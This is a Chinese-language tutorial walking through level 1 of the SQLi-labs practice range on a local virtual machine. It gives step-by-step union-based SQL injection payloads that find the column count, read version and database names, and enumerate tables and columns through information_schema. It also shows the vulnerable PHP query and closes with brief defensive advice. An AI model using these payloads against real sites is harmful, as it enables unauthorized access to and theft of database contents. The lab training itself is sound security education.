SQLi-labs学习sql注入(一)
字数 1756 2025-09-01 11:26:04
SQL注入基础教程:基于SQLi-labs的第一关实战
一、环境准备
-
PHPStudy环境:
- 下载地址:https://old.xp.cn/download.html
- 支持2018或最新v8.1版本
- 安装在Windows7虚拟机(IP:192.168.128.132)
-
SQLi-labs靶场:
- GitHub下载:https://github.com/Audi-1/sqli-labs
- 解压到PHPStudy网站根目录下的sqlilabs文件夹
- 修改数据库连接配置与PHPStudy的MySQL密码一致
二、第一关注入实战
1. 确定注入点
- 访问URL:
http://192.168.128.132/sqlilabs/less-1/ - 测试参数:
?id=1和?id=2都能正常返回不同结果 - 结论:id参数被代入SQL执行,存在注入点
2. 判断注入类型
- 测试字符型注入:
- 访问:
?id=1'→ 页面报错 - 访问:
?id=1' --+→ 页面正常显示
- 访问:
- 结论:存在字符型注入
--+被浏览器转换为--(注释符)- 单引号与源码中的引号形成闭合
3. 确定列数
- 使用
order by子句:?id=1' order by 4--+→ 报错"unknown column 4"?id=1' order by 3--+→ 正常显示
- 结论:表中共有3列
4. 确定显示位
- 使用联合查询:
?id=-1' union select 1,2,3--+- 结果显示2和3 → 第2、3列为显示位
- 技巧:使用负值或不存在值使前查询无结果
5. 获取数据库信息
- 版本信息:
?id=-2' union select 1,version(),database()--+version():数据库版本database():当前数据库名(本例为"security")
6. 爆破表名
- 利用information_schema数据库:
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security")--+group_concat():将多行结果合并为字符串- 结果:显示security库中的所有表名
7. 爆破字段名
- 针对users表:
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")--+- 结果:显示users表的所有字段名
三、技术原理分析
1. 源码分析
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- PHP双引号字符串会解析
$id变量 - 注入构造:
- 正常:
id=1→WHERE id='1' - 注入:
id=1' --+→WHERE id='1' -- ' LIMIT... --注释掉后续语句
- 正常:
2. 关键函数
concat():单行多列拼接group_concat():多行单列拼接version()/database():系统信息函数
3. information_schema结构
tables表:- table_schema:数据库名
- table_name:表名
columns表:- table_schema:数据库名
- table_name:表名
- column_name:字段名
四、注意事项
-
URL编码:
+会被浏览器转换为空格- 特殊字符需要URL编码
-
PHP字符串处理:
- 双引号字符串会解析变量
- 单引号字符串保持原样
-
MySQL注释:
--必须带空格#也可作为注释符
-
闭合技巧:
- 字符型注入需要闭合引号
- 数值型注入可直接注入
五、防御建议
- 使用预处理语句
- 对输入进行严格过滤
- 最小权限原则
- 关闭错误回显
- 使用WAF防护
通过本教程,您已掌握基本的SQL注入检测方法和利用技术,后续可继续研究其他类型的SQL注入和高级利用技术。